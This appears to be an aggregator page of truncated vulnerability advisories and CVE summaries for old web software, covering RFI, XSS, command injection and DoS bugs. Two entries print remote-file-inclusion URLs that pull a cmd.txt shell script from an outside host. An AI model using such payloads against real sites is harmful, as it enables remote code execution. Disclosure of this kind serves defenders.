BLOG:CMS Remote file include Vulnerability

Hello BLOG:CMS Remote file include Vulnerability Discovered By : HACKERS PAL Copy rights : HACKERS PAL Website : http://www.soqor.net Email Address : [email protected] admin/PLUGINs/NPUserSharing.php?DIRADMIN=http://www.soqor.net/tools/cmd.txt?admin WwW.SoQoR.NeT...

Blog:CMS 4.1.3 - NP_UserSharing.php Remote File Inclusion

Blog:CMS 4.1.3 - NPUserSharing.php Remote File Inclusion BLOG:CMS Remote file include Vulnerability Discovered By : HACKERS PAL Copy rights : HACKERS PAL Website : http://www.soqor.net Email Address : [email protected] global $DIRADMIN; include...

paypalXSScorry.txt

-=--------------------ADVISORY-------------------=- PayPal.com Author:CorryL x0n3-h4ck.org -=----------------------------------------------------=- -=+ Application: PayPal.com -=+ Version: -=+ Vendor's URL: www.paypal.com -=+ Platform: Linux\Unix -=+ Bug type: XSS -=+ Exploitation: Remote/Local -...

Wili-CMS Multiple Input Validation Vulnerabilities

Wili-CMS Multiple Input Validation Vulnerabilities Discovered By : HACKERS PAL Copy rights : HACKERS PAL Website : http://www.soqor.net Email Address : [email protected] Remote include example-view/templates/article.php?globalscontentdir=http://psevil.googlepages.com/cmd.txt?...

CVE-2006-2687

Cross-site scripting XSS vulnerability in adduser.php in PHP-AGTC Membership System 1.1a and earlier allows remote attackers to inject arbitrary web script or HTML via the email address useremail parameter...

Cross site scripting

Cross-site scripting XSS vulnerability in adduser.php in PHP-AGTC Membership System 1.1a and earlier allows remote attackers to inject arbitrary web script or HTML via the email address useremail parameter...

PHP AGTC-Membership system <= v1.1a XSS

PHP AGTC-Membership system = v1.1a XSS Discovered by: Nomenumbra Date: 23/5/2006 impact:moderate privilege escalation,possible defacement Ordinary users can add users to the user management system as well, or change their own email address, which isn't properly sanitized, thus allowing XSS as...

CVE-2006-1520: Undefined Security Weakness

Format string vulnerability in ANSI C Sender Policy Framework library libspf before 1.0.0-p5, when debugging is enabled, allows remote attackers to execute arbitrary code via format string specifiers, possibly in an e-mail address...

CVE-2006-1894: Undefined Security Weakness

Cross-site scripting XSS vulnerability in RevoBoard 1.8, as derived from PunBB, allows remote attackers to inject arbitrary web script or HTML via a substitution cipher of the email tag, which is transformed when the application's e-mail address obfuscator reverses the transformation. NOTE: it is...

Cross site scripting

Multiple cross-site scripting XSS vulnerabilities in FlexBB 0.5.5 BETA allow remote attackers to inject arbitrary web script or HTML via the 1 ICQ, 2 AIM, 3 MSN, 4 Google Talk, 5 Website Name, 6 Website Address, 7 Email Address, 8 Location, 9 Signature, and 10 Sub-Titles fields in the user profil...

Xss Vbulletin 3.5.x ( test: 3.5.4 )

/ ,, / / '-./.-' .--' '--. / / /"" SpiderZ ForumZ Security | | | | / / '..' = Xss Vbulletin 3.5.x test: 3.5.4 = Author: SpiderZ = Sito: www.spiderz.tk 1 -------------------------------------------------------------------- Name file: exploit.php...

CVE-2005-4688

CVE-2005-4688 affects PunBB 1.2.9, where changing the account e-mail address does not require password verification, enabling an attacker with a hijacked login session to alter the e-mail associated with the account. Impact is user account compromise via e-mail reassignment; no additional exploit...

CVE-2005-4688

PunBB 1.2.9 does not require password entry when changing the e-mail address in an account's profile, which might allow an attacker to make an address change via a hijacked login session...

CVE-2005-4136

Cross-site scripting XSS vulnerability in login.php in DRZES HMS 3.2 allows remote attackers to inject arbitrary web script or HTML via the customerEmailAddress parameter...

osTicket <= 1.2.7 Support Address DoS Vulnerability

The target is running at least one instance of osTicket 1.2.7 or earlier. Such versions are subject to a denial of service attack in open.php if osTicket is configured to receive mails using aliases. Copyright C 2005 George A. Theall Some text descriptions might be excerpted from a referenced...

CVE-2005-2662

masqmail before 0.2.18 allows remote attackers to execute arbitrary commands via crafted e-mail addresses that are not properly sanitized when creating a failed delivery message...

CVE-2002-1842: Undefined Security Weakness

Perlbot 1.0 beta allows remote attackers to execute arbitrary commands via shell metacharacters in 1 a word that is being spell checked or 2 an e-mail address...

CVE-2005-2036

The CVE-2005-2036 entry describes a vulnerability in Cool Cafe (Cool Café) Chat 1.2.1 where modifyUser.asp can be exploited via a modified nickname value to allow remote attackers to obtain the administrator password and email address. The NVD/CVE records indicate a network-exposed, low-complexit...

CVE-2005-2036

modifyUser.asp in Cool Cafe Cool Café Chat 1.2.1 allows remote attackers to obtain the administrator password and email address via a modified nickname value...

CVE-2005-2036: Exposure of Sensitive Information to an Unauthorized Actor

modifyUser.asp in Cool Cafe Cool Café Chat 1.2.1 allows remote attackers to obtain the administrator password and email address via a modified nickname value...